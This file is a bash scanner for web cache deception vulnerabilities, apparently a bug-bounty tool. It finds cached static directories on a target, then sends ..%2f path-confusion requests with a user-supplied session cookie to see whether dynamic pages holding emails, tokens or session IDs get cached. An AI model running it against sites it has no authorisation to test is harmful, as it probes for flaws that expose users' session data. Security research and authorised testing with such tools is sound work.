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routerwcd.sh
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routerwcd.sh
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#!/bin/bash
function routerfunc() {
levelurl=$(echo "$directory_cache_rule" | sed -E s'/https?:\/\/[^/]*\///' | tr -s '/' '\n' | grep -v 'routerwcd' | wc -l)
hostandpath=$(echo "$directory_cache_rule" | sed s'/\/routerwcd/ /'| cut -d ' ' -f1)
num=$levelurl
str=""
for i in $(seq 1 $num)
do
str+="..%2f"
done
hostandpath_with_dotsegments+=$(echo "$hostandpath/$str@")
}
if [ $# -eq 0 -o $# -eq 1 -a "$1" = "-h" ]
then
echo "ooooooooo. . oooooo oooooo oooo .oooooo. oooooooooo. "
echo "\`888 \`Y88. .o8 \`888. \`888. .8' d8P' \`Y8b \`888' \`Y8b "
echo " 888 .d88' .ooooo. oooo oooo .o888oo .ooooo. oooo d8b \`888. .8888. .8' 888 888 888 "
echo " 888ooo88P' d88' \`88b \`888 \`888 888 d88' \`88b \`888\"\"8P \`888 .8'\`888. .8' 888 888 888 "
echo " 888\`88b. 888 888 888 888 888 888ooo888 888 \`888.8' \`888.8' 888 888 888 "
echo " 888 \`88b. 888 888 888 888 888 . 888 .o 888 \`888' \`888' \`88b ooo 888 d88' "
echo "o888o o888o \`Y8bod8P' \`V88V\"V8P' \"888\" \`Y8bod8P' d888b \`8' \`8' \`Y8bood8P' o888bood8P' "
echo " "
echo "[ by: foorw1nner | x.com/foorw1nner | hackerone.com/foorw1nner | github.com/foorw1nner ]"
echo
echo "[buffers] | routerwcd.sh -host yourtarget.com [flags]"
echo "+===========================================================+"
echo
echo "-h Show This Help Message "
echo
echo "-host -host yourtarget.com "
echo "-setcookie -setcookie \"Cookie: session=2vv07IdA37Npc1imvN2lQV0ZghMaxSSa\""
echo "-setcontinue -setcontinue (yes|no) | Stay on target after finding a discrepancy? Default: yes"
echo "-setmatch -setmatch \"Email|UserID|Token|PHPSESSID\""
echo
echo "+===========================================================+"
###STEP1
elif [ $# -ge 2 -a "$1" = "-host" ] && echo "$2" | grep -qE "^([a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}$"
then
###STORED YOUR CRAWLER IN list ###
list=()
while IFS= read -r line
do
list+=("$line")
done
echo -e "\033[31m+====================================================================================+\033[0m"
echo -e "\033[32mSTEP 1: LOOKING FOR CACHE RULES IN THE DIRECTORIES [/static/, /assets/, /images/, /scripts/ and /resources/]\033[0m"
echo -e "\033[31m+====================================================================================+\033[0m"
hostset=$(echo "$2" | sed s'/^www\.//')
for url in "${list[@]}"
do
static_directories+=$(echo "$url" | grep -Ei "^https?://www\.$hostset/|^https?://$hostset/" | grep -E "^https?://[^?=]*/static/" | sed s'/\/static\//\/static\/routerwcd@#/' | cut -d '#' -f1)
static_directories+=$(echo "$url" | grep -Ei "^https?://www\.$hostset/|^https?://$hostset/" | grep -E "^https?://[^?=]*/assets/" | sed s'/\/assets\//\/assets\/routerwcd@#/' | cut -d '#' -f1)
static_directories+=$(echo "$url" | grep -Ei "^https?://www\.$hostset/|^https?://$hostset/" | grep -E "^https?://[^?=]*/images/" | sed s'/\/images\//\/images\/routerwcd@#/' | cut -d '#' -f1)
static_directories+=$(echo "$url" | grep -Ei "^https?://www\.$hostset/|^https?://$hostset/" | grep -E "^https?://[^?=]*/scripts/" | sed s'/\/scripts\//\/scripts\/routerwcd@#/' | cut -d '#' -f1)
static_directories+=$(echo "$url" | grep -Ei "^https?://www\.$hostset/|^https?://$hostset/" | grep -E "^https?://[^?=]*/resources/" | sed s'/\/resources\//\/resources\/routerwcd@#/' | cut -d '#' -f1)
done
for url in $(echo "$static_directories" | tr -s '@' '\n' | sort -u)
do
###SEARCHING CACHE RULES IN DIRECTORIES (MISS|HIT) directories/routerwcd
request_dir=$(curl -Lisk "$url")
if [ -n "$request_dir" ]
then
only_endresp=$(echo "$request_dir" | grep -n "^HTTP/" | sed -n '$p' | cut -d ':' -f1)
if cache=$(echo "$request_dir" | sed -n "$only_endresp,\$p" | grep -Ei '^[A-Za-z-]+((-Cache:|-Cache-Status:|-Varnish:|-Cache-Server:|-Cache-Provider:|-Cache-Lookup:|-Cache-Int:)\s(hit|miss))|^Server-Timing:\s.*desc=(miss|hit)')
then
if echo "$cache" | grep -iq "miss"
then
echo -e "[$url] \033[32m[MISS]\033[0m"
for i in $(seq 1 2)
do
request_dir=$(curl -Lisk "$url")
sleep 3
done
if [ -n "$request_dir" ]
then
only_endresp=$(echo "$request_dir" | grep -n "^HTTP/" | sed -n '$p' | cut -d ':' -f1)
cache=$(echo "$request_dir" | sed -n "$only_endresp,\$p" | grep -Ei '^[A-Za-z-]+((-Cache:|-Cache-Status:|-Varnish:|-Cache-Server:|-Cache-Provider:|-Cache-Lookup:|-Cache-Int:)\s(hit|miss))|^Server-Timing:\s.*desc=(miss|hit)')
if echo "$cache" | grep -iq "hit"
then
directory_cache_rule=$url
echo -e "[$url] \033[32m[MISS -> HIT]\033[0m"
routerfunc
fi
fi
###This else is for any occasion in which the first request falls into HIT instead of MISS
else
###Make a draw at the end of the cd router (unpredictable hash) to find MISS in the first request
sorthash=$(echo {a..z}{0..9} | tr -s ' ' '\n' | shuf | head -n 5 | tr -s '\n' '0')
modified_url=$(echo "$url" | sed s"/\/routerwcd/\/routerwcd_$sorthash/")
request_dir=$(curl -Lisk "$modified_url")
if [ -n "$request_dir" ]
then
only_endresp=$(echo "$request_dir" | grep -n "^HTTP/" | sed -n '$p' | cut -d ':' -f1)
if cache=$(echo "$request_dir" | sed -n "$only_endresp,\$p" | grep -Ei '^[A-Za-z-]+((-Cache:|-Cache-Status:|-Varnish:|-Cache-Server:|-Cache-Provider:|-Cache-Lookup:|-Cache-Int:)\s(hit|miss))|^Server-Timing:\s.*desc=(miss|hit)')
then
if echo "$cache" | grep -iq "miss"
then
echo -e "[$modified_url] \033[32m[MISS]\033[0m"
for i in $(seq 1 2)
do
request_dir=$(curl -Lisk "$modified_url")
sleep 3
done
if [ -n "$request_dir" ]
then
only_endresp=$(echo "$request_dir" | grep -n "^HTTP/" | sed -n '$p' | cut -d ':' -f1)
cache=$(echo "$request_dir" | sed -n "$only_endresp,\$p" | grep -Ei '^[A-Za-z-]+((-Cache:|-Cache-Status:|-Varnish:|-Cache-Server:|-Cache-Provider:|-Cache-Lookup:|-Cache-Int:)\s(hit|miss))|^Server-Timing:\s.*desc=(miss|hit)')
if echo "$cache" | grep -iq "hit"
then
directory_cache_rule=$modified_url
echo -e "[$modified_url] \033[32m[MISS -> HIT]\033[0m"
routerfunc
fi
fi
fi
fi
fi
fi
else
echo -e "[$url] \033[31m[NO-CACHE]\033[0m"
fi
else
echo -e "[$url] \033[31m[NO-CONNECTION]\033[0m"
fi
done
###STEP2
if [ -n "$hostandpath_with_dotsegments" ]
then
echo
echo -e "\033[31m+====================================================================================+\033[0m"
echo -e "\033[32mPATHS WITH CACHE RULES:\033[0m"
echo -e "\033[31m+====================================================================================+\033[0m"
for i in $(echo "$hostandpath_with_dotsegments" | tr -s '@' '\n')
do
echo "$i" | sed -E s'/https:\/\/[^/]*\///' | sed s'/^/\//' | sed s'/\.\.%2f/ /' | cut -d ' ' -f1
done
echo
echo -e "\033[31m+====================================================================================+\033[0m"
echo -e "\033[32mSTEP 2: DETECTING NORMALIZATION BY THE ORIGIN SERVER\033[0m"
echo -e "\033[31m+====================================================================================+\033[0m"
####INIT PARAMETERS CALC
parameters=$(echo "$*" | tr -s ' ' '\n' | grep -E "^\-(host|setcookie|setcontinue|setmatch)$" | grep -n "^\-")
if echo "$parameters" | grep -q "\-setcookie"
then
position_cookie=$(echo "$parameters" | grep "\-setcookie" | cut -d ':' -f1)
position_cookie_value=$(expr $position_cookie + $position_cookie)
setcookie=${!position_cookie_value}
fi
if echo "$parameters" | grep -q "\-setcontinue"
then
position_continue=$(echo "$parameters" | grep "\-setcontinue" | cut -d ':' -f1)
position_continue_value=$(expr $position_continue + $position_continue)
setcontinue=${!position_continue_value}
fi
if echo "$parameters" | grep -q "\-setmatch"
then
position_match=$(echo "$parameters" | grep "\-setmatch" | cut -d ':' -f1)
position_match_value=$(expr $position_match + $position_match)
setmatch=${!position_match_value}
fi
###INIT FINISH FASE
crawler_clean=()
for x in "${list[@]}"
do
crawler_clean+=$(echo "$x" | grep -Ei "(^https?://www\.$hostset/|^https?://$hostset/)[A-Za-z0-9_-]+" | grep -Eiv "^https?://[^?=]*/(static|assets|images|resources|scripts)/" | grep -Eiv "^https?://[^?=]*\.(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|icon|pdf|svg|txt|js|txt|webp)" | grep "\." | sed s'/$/@/')
done
if [ -n "$crawler_clean" ]
then
for y in $(echo "$crawler_clean" | tr -s '@' '\n' | shuf | head -n50)
do
request_original=$(curl -Lski "$y" -H "$setcookie")
if [ -n "$request_original" ]
then
path_original=$(echo "$y" | sed -E s'/https:\/\/[^/]*\///')
only_body1=$(cat -e <<< "$request_original" | grep -n "^\^M\\$\$" | sed -n '$p' | cut -d ':' -f1)
md5_request_original=$(echo "$request_original" | sed -n "$only_body1,\$p" | md5sum)
for z in $(echo "$hostandpath_with_dotsegments" | tr -s '@' '\n')
do
request_with_router=$(curl -Lski "$z$path_original" -H "$setcookie")
if [ -n "$request_with_router" ]
then
only_body2=$(cat -e <<< "$request_with_router" | grep -n "^\^M\\$\$" | sed -n '$p' | cut -d ':' -f1)
md5_request_with_router=$(echo "$request_with_router" | sed -n "$only_body2,\$p" | md5sum)
echo -e "[$y] \033[31m[$md5_request_original]\033[0m"
echo -e "[$z$path_original] \033[31m[$md5_request_with_router]\033[0m"
probability="0"
if [ "$md5_request_original" = "$md5_request_with_router" ]
then
###INIT CALC PROBABILITY
only_endresp=$(echo "$request_original" | grep -n "^HTTP/" | sed -n '$p' | cut -d ':' -f1)
if ! echo "$request_original" | sed -n "$only_endresp,\$p" | grep -qEi '^[A-Za-z-]+((-Cache:|-Cache-Status:|-Varnish:|-Cache-Server:|-Cache-Provider:|-Cache-Lookup:|-Cache-Int:)\s(hit|miss))|^Server-Timing:\s.*desc=(miss|hit)'
then
only_endresp=$(echo "$request_with_router" | grep -n "^HTTP/" | sed -n '$p' | cut -d ':' -f1)
if echo "$request_with_router" | sed -n "$only_endresp,\$p" | grep -qEi '^[A-Za-z-]+((-Cache:|-Cache-Status:|-Varnish:|-Cache-Server:|-Cache-Provider:|-Cache-Lookup:|-Cache-Int:)\s(hit|miss))|^Server-Timing:\s.*desc=(miss|hit)'
then
###DISCREPANCY DETECTED +50% PROBABILITY
probability="50"
sleep 2s
setmatch_status="\033[31mNO\033[0m"
if [ -n "$setmatch" ] && echo "$request_with_router" | sed -n "$only_endresp,\$p" | grep -qEi "$setmatch"
then
###SETMATCH DETECTED +45% PROBABILITY
probability=$(expr $probability + 45)
setmatch_status="\033[32mYES\033[0m"
fi
sleep 2s
page404_status="\033[31mYES\033[0m"
if ! echo "$request_with_router" | sed -n "$only_endresp,\$p" | head -n1 | grep -q '404'
then
###NOT A 404 PAGE +4% PROBABILITY
probability=$(expr $probability + 4)
page404_status="\033[32mNO\033[0m"
fi
echo -e "[$z$path_original] \033[32m[DISCREPANCY DETECTED]\033[0m [SETMATCH: $setmatch_status] [404 PAGE: $page404_status] [PROBABILITY VULN: \033[32m$probability%\033[0m]"
fi
fi
fi
fi
done
fi
if [ -n "$setcontinue" ]
then
if [ "$setcontinue" = "no" ]
then
if [ "$probability" -ge 50 ]
then
exit
fi
else
continue
fi
fi
done
fi
else
echo -e "\033[31m+====================================================================================+\033[0m"
echo -e "\033[31mNO STATIC DIRECTORIES WERE FOUND WITH CACHE RULES\033[0m"
echo -e "\033[31m+====================================================================================+\033[0m"
fi
else
$0
fi